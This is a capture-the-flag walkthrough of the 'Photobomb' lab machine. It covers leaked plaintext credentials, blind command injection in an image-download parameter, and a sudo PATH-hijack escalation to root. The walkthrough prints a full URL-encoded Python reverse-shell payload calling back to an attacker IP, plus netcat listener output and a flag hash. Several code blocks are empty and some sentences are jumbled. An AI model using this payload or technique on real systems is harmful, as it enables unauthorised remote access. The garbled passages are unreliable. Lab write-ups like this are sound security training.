Machine Info
Photobomb is an easy Linux machine where plaintext credentials are used to access an internal web application with a Download functionality that is vulnerable to a blind command injection. Once a foothold as the machine's main user is established, a poorly configured shell script that references binaries without their full paths is leveraged to obtain escalated privileges, as it can be ran with `sudo
Host / IP
10.10.11.182 / PHOTOBOMB.HTB. We add the record to our /etc/hosts.
User
Reconnaissance
We are going to start by running our nmap scan:
| |
We see a web port open and SSH one. Let’s visit the web page.
Website

We see a web page that is about photography and has a link for a web (basic-auth) login modal. The path is /printer.
We need to try and find the teck stack of the web page. The headers done’t give us much tbh. Browsing at the Deb Tools we see on the <head> a script being loaded.
| |
Looking at the debugger tab we find the js script and it has plaintext username and password.
Plaintext credentials
| |
pH0t0:b0Mb!
We login the printer and we see a collage of pictures ready to download in differnt sizes and formats.
We are going to capture a request with Burp to analyze it.
| |
We still don’t have much of an info about the server or its vulnerable spots. Let’s try to mess with it and send a request with altered argumements like this:
photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg&filetype=jpg&
We basically omit the dimensions parameter.
And boom! We get a 500 server error page with all this info.
Searching about the software didn’t lead to much. We need to understand the logic hereand how the app resizes all the photos in each request.
The idea here is that the server uses a tool to convert the images to different sizes. One of the most common tools in Linux is convert from ImageMagick. How does that work?
| |
If that’s what the server is using the our input is put like that:
| |
Command Injection
| |
Putting commands after the photo or the dimensions parameter didn’t help it seems. We were getting 500 errors and no delay from sleep 5 command.
But we were able to see achive the injection here:
| |
The response came after 5 seconds, which means that sleep 5 got executed!
So let’s try to establish a rev shell now. We fire Our payload got executed and we have established a rev shell. Now let’s grab the flagnc -lvnp 9001 and we launch our payload:Command Injection
1
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=png%20%3b%20python3%20-c%20%27import%20os%2Cpty%2Csocket%3Bs%3Dsocket.socket%28%29%3Bs.connect%28%28%2210.10.14.9%22%2C9001%29%29%3B%5Bos.dup2%28s.fileno%28%29%2Cf%29for%20f%20in%280%2C1%2C2%29%5D%3Bpty.spawn%28%22%2Fbin%2Fbash%22%29%27&dimensions=20x20```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.182] 37068
wizard@photobomb:~/photobomb$ ls
ls
log photobomb.sh public resized_images server.rb source_images
wizard@photobomb:~/photobomb$ cd
cd
wizard@photobomb:~$ ls
ls
photobomb user.txt
wizard@photobomb:~$ cat user.txt
cat user.txt
9c5c894768bddb24189d670bf188eed1
Root
Before we start approaching this we just going to upgrade our shell:
| |
More about this here
Enumeration
First thing we check sudo.
| |
Things to point from this:
- user can run /opt/cleanup.sh as root.
- SETENV means that the current environment will be used rather than a fresh one.
The script below looks like it’s for managing some logs and keeping “safe” the picture of the web app:
| |
The weak spot here is clearly the find command that is referenced without the full path of it. It’s a very simple path hijack.
find in the directories that are specified in the $PATH environment variable.Root shell
Expose path hijack for `find`
We will expose that path hijack vulnerability by simply making a script that runs bash and will name it find! Then we are going to make it executable.
| |
If we were to execute sudo /opt/cleanup.sh we were going to get just another bash shell with wizard user.
PATH variable, adding to the current directory in front!